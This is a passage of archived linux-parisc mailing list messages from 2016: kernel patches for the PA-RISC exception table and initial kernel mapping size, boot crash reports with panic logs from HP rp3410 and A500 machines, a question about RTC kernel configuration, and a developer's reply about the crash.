X-UI-Out-Filterresults: notjunk:1;V01:K0:bDmmun1MpwU=:JHcvT6M4gA5nyEOrgyC1bH
 jm/bBs9nkeftOwOfMoixq45sNGa6SgLdpWxM2HKhVyfZ9GiHZXPq5F8B5prdtkCNaB6JM3kW+
 cpu7dKEn5rUmckKnShg/GCMYKVqY/yIIe7DnybhExs3+Mjr5idA8kGHwWWs4takMzEwAdiSL5
 g0ICwqwRXdZr8+cj5icID65KMyl+G4806TqxiLeq3MClzcos3WcX4SxOwdVAOmY7kpRJYAjD1
 jwp9iXWz6XC4UZ0V3tzhnKdR1gRLcztnJWvrX/gTLS2Q6SLu+KKgVzdS88ZDEp3O9xOZmIgPu
 JcTWoGRVpB0E1l3cHUFIxNxl9RjlZ+/daE3VXV5+Ov0ELZaPVNJJNZuPzA94vAPvbZqc83PIo
 0GyT4UZqNj/eJAywq4Uiyq7HJIdbez2wyGm8AeI2JSjAo39sQkPjEICtQImOMJ3cX4u7eoj3E
 ZDMYUy/EE6f3ScgXYpJnnAwHDpanorkXaknBxTSFgJhtWTr++LT2U0cgXG1kVsA9w1wcGk5ho
 8EBbHFm6a9DF8BMylyc9tXchGxNNIknRBbVREt8RIM9bZ9V1//yMeesX3wxWmOLPYmnukYKcm
 sHl8BOrQ4DMNpakz9/HlgNLjOzciyhIWAMtRSTQznugai6JeG2ckbW0Yz2Xc95ybPMTIzkM2W
 SKMzbzAXGMUQE65eMmF0or/yqzeV/61NY1jvQFdntNSatDYajDeWp44iQBx+tJFoC/UqNgZxF
 RHmxRoLYXnBCbTA+f0DLnNxertNDripvD9arVd8lGJyzK21iYl2B2yXRpWY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26978
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26978>

The exception tables are sorted during buildtime (due to
BUILDTIME_EXTABLE_SORT), so it's safe to move those into the read-only kernel
section.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index b37787d..f366a1a 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -106,6 +106,10 @@ SECTIONS
 	}
 #endif
 
+	/* RO because we have BUILDTIME_EXTABLE_SORT */
+	EXCEPTION_TABLE(8)
+	NOTES
+
 	/* unwind info */
 	.PARISC.unwind : {
 		__start___unwind = .;
@@ -121,9 +125,6 @@ SECTIONS
 	. = ALIGN(HUGEPAGE_SIZE);
 	data_start = .;
 
-	EXCEPTION_TABLE(8)
-	NOTES

From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Increase default initial kernel mapping to 32 MB
Date: Sat, 8 Oct 2016 16:16:49 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20161008141649.GA31592@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475936624 30424 195.159.176.226 (8 Oct 2016 14:23:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 14:23:44 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 08 16:23:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bssXI-0005jD-VF
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Oct 2016 16:23:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751072AbcJHOXj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Oct 2016 10:23:39 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:65515 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750866AbcJHOXi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Oct 2016 10:23:38 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MAloF-1bieli22g7-00BxYX; Sat, 08 Oct 2016 16:16:53
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:jjJDVOTI1E3bMayYrtkqcL1zBPFYYEKuggEcieip1vvi9s7Uj5F
 MjjYsNwFkl/4Gz1/tBFHQcCXxkLDSeMJTHTUgWijAl+oldzQHQ/eWTM/tlNWx7OYpIsSnqQ
 sW055/8z24mzbdh1vBjQm2AuRC/rOw7lmcVtgYXP2EPO/XzV4/S9TM8+cPv0Qoni1sIPaAr
 oYV/+9FOdfUfKIBNSNuOQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Vhv4ZmYtemI=:Hqw+Ff14ecdP/BY04x6MAM
 rdVwTi3kBjkU0dFXnQjgniMaxiWkTDRKTEVY+od2ZcB2jNm1ew+ppYiRDlCzI9FeT70FSe8wb
 02seQjLs4OQl6A57s/KMMOKxcZi6KsB76fRdSyVZCwP1RPK4yvR3liNvB2qXfEdGMDrRczv0V
 nuGsNndaH2s/1RAiCF0rqcT7bwneRxLdAyC5E4AhKb9tUAyFESyff5u8aKbzBsXYneR0Q74+B
 aFEyO5qw0ZijNoKqL0HF1yMSiTEAr/D3ST41PIoN3LZwtKyDvZrdFYq+P1zcm8ns6KnhWT9hE
 n5CyKWLxiFxFuRG6Lma4gxfgN6UPwEa5AcVV8KrK/ExQGylMh7T2jq0HH1G4NafV20riOFaW2
 i1eoS1lQqmmJGaVWZ0G9sQWbxB5e2Ups3YfxQD1/UpH03auvAqc49JrBM3NcujX59pBOFske9
 48U/v9/NCZtwSLa7dfmvD/hIScQ9fWf8m+yrm9xj005echcg0iilx3itWIsSfqY+Tx4hxnPhl
 2j85eRUYj9KZTgNMk2LCdEXkkhE4KGBpdSo7sNaaqahoBtJm7D2M9Nf3hATDET4CkiJ3p6xBR
 ZUSerVjt87cFN/VrRWvdyhkY0pGcr3uPVI/7o9Lk/++fm+GPoFhVUihuYIzy+5WLHXzxNyCdx
 N54yrEGzTupSUdgrnjNfKhoIyvre5ORvZncaH6t5JVzSYprJikaxXeP1lS4zn8+yVGApR5bNH
 QRvdIzuKsbjCytcftHIZSqEhD71p8tSTLesDIlSIKPfftMr/gWp1adlh61w=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26979
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26979>

For 32-bit kernels which include multiple modules built-in 16 MB initial kernel
mapping may get too small. To avoid boot problems increase the kernel mapping
to 32 MB for all 32- and 64-bit kernel configs.

Cc: stable@vger.kernel.org # 4.4+
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index e44bdb9..ef32e28 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -83,11 +83,7 @@ static inline void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, (unsigned long)pgd_val(e))
 
 /* This is the size of the initially mapped kernel memory */
-#if defined(CONFIG_64BIT) || defined(CONFIG_SMP)
 #define KERNEL_INITIAL_ORDER	25	/* 1<<25 = 32MB */
-#else
-#define KERNEL_INITIAL_ORDER	24	/* 1<<24 = 16MB */
-#endif
 #define KERNEL_INITIAL_SIZE	(1 << KERNEL_INITIAL_ORDER)
 
 #if CONFIG_PGTABLE_LEVELS == 3
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: parisc crash on boot with 4.8+git
Date: Sun, 9 Oct 2016 00:52:41 +0300 (EEST)
Lines: 149
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1475958170 10875 195.159.176.226 (8 Oct 2016 20:22:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 20:22:50 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: Linux Kernel list <linux-kernel@vger.kernel.org>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 08 22:22:47 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bsy8f-0000bM-VI
	for glk-linux-kernel-3@m.gmane.org; Sat, 08 Oct 2016 22:22:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753004AbcJHUW2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 8 Oct 2016 16:22:28 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:37496 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751297AbcJHUWS (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 8 Oct 2016 16:22:18 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id BBF6573D5FF;
        Sat,  8 Oct 2016 23:22:13 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 9E2732216B4; Sun,  9 Oct 2016 00:52:42 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 00187221022;
        Sun,  9 Oct 2016 00:52:41 +0300 (EEST)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2323535 gmane.linux.ports.parisc:26980
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2323535>

Just tried 4.8.0-11288-gb66484c on three of my parsic machines (enabled 
strict usercopy checking or somethinng like that in make oldconfig).

rp3440 worked fine. a500 and rp3410 cras on boot.

rp3410 crashed on boot with the following:

Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
The 64-bit Kernel has started...
Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008860 00000491 00000000 00000002 3e45475d0860fe3d 100000f0 00000008 000000b2 000000b2
vers  00000302
CPUID vers 20 rev 5 (0x00000285)
capabilities 0x35
model 9000/800/rp3410
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
Total Memory: 2046 MB
Backtrace:
 [<0000000040102d40>] paging_init+0x5e0/0x740
 [<0000000040103744>] setup_arch+0x16c/0x1b0
 [<0000000040100ce0>] start_kernel+0xb8/0x668

Bad Address (null pointer deref?): Code=15 regs=00000000408034c0 (Addr=000000099cf94000)
CPU: 0 PID: 0 Comm: swapper Not tainted 4.8.0-11288-gb66484c #81
task: 000000004087ea20 task.stack: 0000000040803000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 0000000000900000 00000000401024c4 00000000408033b0 
r04-07  000000004074a3c0 0000000040af0000 0000004040000000 000000004088e104 
r08-11  0000000040803490 000000407fe00000 0000004040000000 0000000000200000 
r12-15  000000004076e3c0 0000000040122928 0000000040000000 0000000000000323 
r16-19  0000004080000000 0000000000000400 0000000000000000 000000099cf94000 
r20-23  0000000000001000 00000000009f2000 0000000000000001 0000000000000001 
r24-27  00000000095cf940 00000000408e1c90 0000004080000000 000000004074a3c0 
r28-31  0000004040000323 0000000040803510 00000000408034c0 000000099cf94000 
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004010251c 0000000040102520
 IIR: 0ffc12c0    ISR: 0000000000000000  IOR: 000000099cf94000
 CPU:        0   CR30: 0000000040803000 CR31: fffffff0f0e05ee0
 ORIG_R28: 00000000408036d0
 IAOQ[0]: map_pages+0x234/0x320
 IAOQ[1]: map_pages+0x238/0x320
 RP(r2): map_pages+0x1dc/0x320
Backtrace:
 [<0000000040102d40>] paging_init+0x5e0/0x740
 [<0000000040103744>] setup_arch+0x16c/0x1b0
 [<0000000040100ce0>] start_kernel+0xb8/0x668

Kernel panic - not syncing: Bad Address (null pointer deref?)
---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)


A500 dies differently on boot:

Linux version 4.8.0-11288-gb66484c (mroos@a500) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #100 Sat Oct 8 22:11:04 EEST 2016
unwind_init: start = 0x4074ee10, end = 0x40787d90, entries = 14584
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical 
and 2 MB virtual size.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005cb0 00000491 00000000 00000001 5c5f29fa 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 17 rev 11 (0x0000022b)
capabilities 0x1
model 9000/800/A500-44
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
Total Memory: 1024 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 258560
Kernel command line: root=/dev/sda3 console=ttyS0 palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 65536 (order: 7, 524288 bytes)
Memory: 1022352K/1048576K available (4328K kernel code, 1812K rwdata, 576K rodata, 1024K init, 424K bss, 26224K reserved, 0K cma-reserved)
virtual kernel memory layout:
   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
   memory  : 0x0000000040000000 - 0x0000000080000000   (1024 MB)
     .init : 0x0000000040100000 - 0x0000000040200000   (1024 kB)
     .data : 0x000000004063a000 - 0x000000004088f370   (2388 kB)
     .text : 0x0000000040200000 - 0x000000004063a000   (4328 kB)
SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=8
NR_IRQS:80
clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x657a3c2da0, 
max_idle_ns: 440795224593 ns
Console: colour dummy device 160x64
Calibrating delay loop... 872.44 BogoMIPS (lpj=1744896)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes)
devtmpfs: initialized
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, 
max_idle_ns: 7645041785100000 ns
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5cb, 0x00004 }
2. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
3. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
4. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
Enabling PDC_PAT chassis codes support v0.05

********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error 
detected.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
 [<00000000402050c0>] _switch_to_ret+0x0/0xf40

CPU: 0 PID: 1 Comm: swapper Not tainted 4.8.0-11288-gb66484c #100
Backtrace:
 [<00000000402152f4>] show_stack+0x14/0x20
 [<000000004043a848>] dump_stack+0x30/0x40
 [<0000000040215488>] die_if_kernel+0x180/0x298
 [<0000000040216304>] handle_interruption+0x99c/0x9c0

---[ end trace 61bce946a86921df ]---
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b


-- 
Meelis Roos (mroos@linux.ee)


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc hardware clock
Date: Sun, 9 Oct 2016 01:16:14 +0300 (EEST)
Lines: 81
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1610090107540.12761@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1475959584 19929 195.159.176.226 (8 Oct 2016 20:46:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 20:46:24 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 08 22:46:17 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bsyVP-0004Yk-Rj
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Oct 2016 22:46:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752142AbcJHUqF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Oct 2016 16:46:05 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:42483 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751710AbcJHUqF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Oct 2016 16:46:05 -0400
X-Greylist: delayed 1426 seconds by postgrey-1.27 at vger.kernel.org; Sat, 08 Oct 2016 16:46:04 EDT
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 9BBF773D606
        for <linux-parisc@vger.kernel.org>; Sat,  8 Oct 2016 23:45:46 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 89F012216B4; Sun,  9 Oct 2016 01:16:14 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id DAE64221473
        for <linux-parisc@vger.kernel.org>; Sun,  9 Oct 2016 01:16:14 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26981
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26981>

On my Gentoo hppa systems with custom kernels, I get the following 
error on bootup:

 * Setting system clock using the hardware clock [UTC] ...
hwclock: settimeofday() failed: Invalid argument
 * Failed to set the system clock

Once the system has booted up, hwclock --hctosys and hwclock --systohc 
work fine. Maybe something related to gentoo /etc/init.d/hwclock but 
before reporting it there I want to understand it first.


What RTC driver and options should be selected in the kernel for RTC 
operations to work?

I have only RTC_DRV_GENERIC set for RTC drivers.


CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_SYSTOHC_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_INTF_DEV_UIE_EMUL=y
# CONFIG_RTC_DRV_TEST is not set
#
# I2C RTC drivers
#

#
# SPI RTC drivers
#

#
# SPI and I2C RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1685_FAMILY is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_DS2404 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc crash on boot with 4.8+git
Date: Sat, 8 Oct 2016 23:07:28 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <57F96010.1040309@gmx.de>
References: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1475960882 10933 195.159.176.226 (8 Oct 2016 21:08:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 8 Oct 2016 21:08:02 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
To: Meelis Roos <mroos@linux.ee>,
        Linux Kernel list <linux-kernel@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 08 23:07:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bsyqF-00084T-C6
	for glpp-linux-parisc@m.gmane.org; Sat, 08 Oct 2016 23:07:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753112AbcJHVHh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 8 Oct 2016 17:07:37 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:65462 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752142AbcJHVHg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 8 Oct 2016 17:07:36 -0400
Original-Received: from [192.168.20.60] ([92.203.45.129]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0Lwoiq-1amqUs0CNs-016Pgo; Sat, 08 Oct 2016 23:07:30
 +0200
X-Enigmail-Draft-Status: N1110
In-Reply-To: <alpine.LRH.2.20.1610090042580.12761@math.ut.ee>
X-Provags-ID: V03:K0:wD7j2gNDcGOXL4hx2wi0YBQYu4jl8gx7qecBKjvazteYb8JCJIV
 N25gPVQSmmCRjKkV5LQeD06XWVpzbESZ53k3hvilKBbcRkBzmNgOyz9ZwFx2/BTeuFhAoqP
 VDzbBablrKlyt4o7feIw6JQumkQxv8yilT9zyXsfmv0W+dYfcz2ZdcyxhpnzG3ysDVXsuUD
 AP7GxP6MD65Vhf8XnF7BA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:YpPZJlub1xA=:NafNcVYnoST8EZ5xKOeo8P
 FvjacKpcRKTd3BLX9FNFqo23QCwrE6eQz/BANt1zRy5BmceE9LCh59+76N3T7dygc7+1phPyc
 7JOST+jZqxLvp8q5OuB5jv0I60WKMPHeay82x4NZvNeyi0G1LBRnovuJde+PHnxCdRlhJGh3w
 nPRZzIbddp9gcpelA34Y5ogPMdkg1xUPu9jL7U0t2QsWItnWsrt4KgywB5brMqnXNhcvOaUJY
 pY9gpSQ3Vw4DqHCVDh/Ws5armBMFgMBbSNNdJ81O/Au1naTP7VZxtbLb5bV4xj8dueEQDxtY/
 f0Kya7xO6JEmJbZ9UzycutHEhXKe1I+tG4e3Vv/B59LAdshkCMwvEtxc/TH93aWUIuOyDXxG6
 lE/XVJin0oA/4hp56R82kYlisdLJwijlOOwaoWY9QlBELLK+oPzWHKCmKhrbXZeUguci+yszf
 s5dIV/yQIyxA2Cdu1Qkc7z89msjKmpC7Q8ii1R/q9X+w+M030G4xtHbY4qHPDwC76DTX/JBz8
 kHKEXhvqyCC6ThomFEOs1TIvqGh1t8IkyUHAzO4YytSNXowCxPxwM/5PNwfZUT/zh0jgqBOLj
 T7rkqhxGaZxr1zcoU8ZkmoSR8tgsju+vApTF/nSwde7b4Yt3v6mz+lwD/8Q5gm7e0eisxZlKV
 FSwgr9/gSbP/ZxlSx0ZU1h4dqhlzB7vQBSStstJCmLt3OErhXvkVCDXnWc6wu9gcd0MKv1H31
 F5RQj1fY2DYCdR825tRNhhtpLTORSkSXY3EF20E8/yWi1YJgltl5f+2BQoPKEyUXl4mP496c 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26982 gmane.linux.kernel:2323548
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26982>

Hi Meelis,

On 08.10.2016 23:52, Meelis Roos wrote:
> Just tried 4.8.0-11288-gb66484c on three of my parsic machines (enabled 
> strict usercopy checking or somethinng like that in make oldconfig).

It's not related to the usercopy checks, instead it's most likely a
parisc-specific problem I just noticed today as well and which I'm 
currently fixing.
 
> rp3440 worked fine. a500 and rp3410 cras on boot.
> 
> rp3410 crashed on boot with the following:
> 
> Linux version 4.8.0-11288-gb66484c (mroos@rp3410) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #81 Sat Oct 8 20:40:24 EEST 2016
> unwind_init: start = 0x4076e980, end = 0x407a7060, entries = 14446
> The 64-bit Kernel has started...
> Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
> bootconsole [ttyB0] enabled
> ...
> Memory Ranges:
>  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
>  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
> Total Memory: 2046 MB
> Backtrace:
>  [<0000000040102d40>] paging_init+0x5e0/0x740
>  [<0000000040103744>] setup_arch+0x16c/0x1b0
>  [<0000000040100ce0>] start_kernel+0xb8/0x668
> 
> Bad Address (null pointer deref?): Code=15 regs=00000000408034c0 (Addr=000000099cf94000)

